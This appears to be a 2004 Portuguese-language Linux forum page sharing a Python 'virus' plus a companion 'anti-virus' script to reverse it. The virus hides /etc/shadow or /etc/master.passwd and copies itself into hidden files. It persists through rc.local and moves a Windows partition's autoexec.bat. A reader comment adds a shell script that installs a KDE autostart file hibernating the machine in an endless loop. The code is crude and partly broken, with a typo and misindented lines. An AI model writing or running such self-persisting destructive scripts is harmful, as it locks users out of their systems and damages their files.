Virus, trojan, sei lá o que é isso, PARTE II

Publicado por Ricardo Henrique 22/08/2004

[ Hits: 10.793 ]

Download virus1.zip




A Atualização do Virus em python publicado por mim :-)
LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU

LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT
AJUDAS SAO BEM VINDAS
SE EXECUTAR O ARQ VIRUS.PY USE o ANTI-VIRUS.PY

LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU
LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT

OBRIGADO PELAS SUGESTOES!!!!!
VALEU....... AJUDAS SAO BEM VINDAS

  



Esconder código-fonte

#ARQUIVO VIRUS.PY
#------------------------------------------------
#!/usr/bin/env python
import os 
#####################################
#Virus and python                   #
#version 1.0                        #
#                                   #
#Colaborações sao bem vindas        #
#                     #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o  #
#arquivo do windows autoexec.bat    #
#                #
#NAO ME RESPONSABILIZO PELOS        #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
#                #
#REGISTRADO PELA A LICENCA GPL      #
#OBRIGADO PELAS COLABORACOES        #
#####################################
def linux():
   try:
    os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
    list()   # Vai para a funcao list()
   except:
    bsd()   

def bsd():
   try:
    os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
    list() # Vai para a funcao list()
   except:
    list()

def list(): # Funcao lista
   arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
   lis = os.listdir('/etc/') #Lista o que tem no /etc/
   aa = "%s" %(lis)
   arq.write(aa) # Grava no arquivo
   arq.close()
   os.system('cp virus.py .arq.py') # Copia o virus
   os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
   os.system('cp .arq.py /etc/rc.d/.conf.py')
   
   os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
   rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
   rc1 = "python /etc/rc.d/.conf.py\n"
   aaa = "%s" %(rc1)
   rc.write(aaa)
   rc.close()
   
   os.system('chmod -x .arq.py') # muda as permisoes
   os.system('chown root.root .arq.py') # muda o usuario
   procura()

def procura():
   try:
    os.system('mkdir /win')
    os.sytem('mount /dev/hda1 /win')
    os.system('mv /win/autoexec.bat .autoexec.bat') # Num preciso nem falar
    os.system('rm -rf /win')
   except:
    exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog

def dig():
   linux() # Colocar alguma coisa

dig()

#ARQ ANTI-VIRUS.PY
#-----------------------------------------------
#!/usr/bin/python

################################
#Quem Cria também distroi      #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione          #
#OBRIGADO PELAS COLABORACOES   #
################################
import os

def linux():
        try:
         os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
         #os.remove('/etc/shadow') # Remove o arquivo etc shadow
         list() # Vai para a funcao list()
        except:
         bsd()

def bsd():
        try:
         os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
         #os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
         list() # Vai para a funcao list()
        except:
         list()

def list(): # Funcao lista
        os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
        
   os.system('rm -rf .arq.py') # Remove o virus
        os.system('rm -rf ../.conf.py'); # remove o virus
        os.system('rm -rf /etc/rc.d/.conf.py')

        os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
        procura()

def procura():
        try:
    os.system('mkdir /win')
    os.system('mount /dev/hda1 /win')
         os.system('cp .autoexec.bat /win/autoexec.bat') # Num preciso nem falar
    os.system('rm -rf /win')
        except:
         exit 

def dig():
        linux() # Colocar alguma coisa

dig()

Scripts recomendados

Leitura de todos os valores de qualquer xml

calculadora em python

Implementação simples de um programa antivírus em Python 3.10 para Linux

Expressões numéricas

Singleton


  

Comentários
[1] Comentário enviado por hugh em 26/08/2004 - 11:13h

Muda o nome desse script!
Mais fácil você mandar um e-mail pra "vítima" pedindo pra ele formatar o HD!

[2] Comentário enviado por lestatwa em 03/03/2010 - 08:53h

Nem vírus, nem trojan.

[3] Comentário enviado por Miojo em 17/03/2010 - 21:16h

#!/bin/sh
# Criado por Artur Gaspar
# Um simples script de vírus para Linux. Não sei nem se funciona :D.
# O `echo ' '' '' '' ''powerdevil.Hibernate()'` é para ele funcionar quando copiado do Viva o Linux (http://www.vivaolinux.com.br/), que remove os espaços.
cat <<EOF > $HOME/.kde4/Autostart/virus.py
#!/usr/bin/python
sessionBus = dbus.SessionBus()
powerdevil = sessionBus.get_object('org.kde.powerdevil', '/org/freedesktop/PowerManagement')
while True:
`echo ' '' '' '' ''powerdevil.Hibernate()'`
EOF

chmod +x $HOME/.kde4/Autostart/virus.py


[4] Comentário enviado por fchevitarese em 07/07/2010 - 10:27h

Pra mim isto não chega a ser um vírus até porque, para ele realizar as operações programadas no script é necessário rodá-lo como root...

É só minha humilde opinião ;)


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts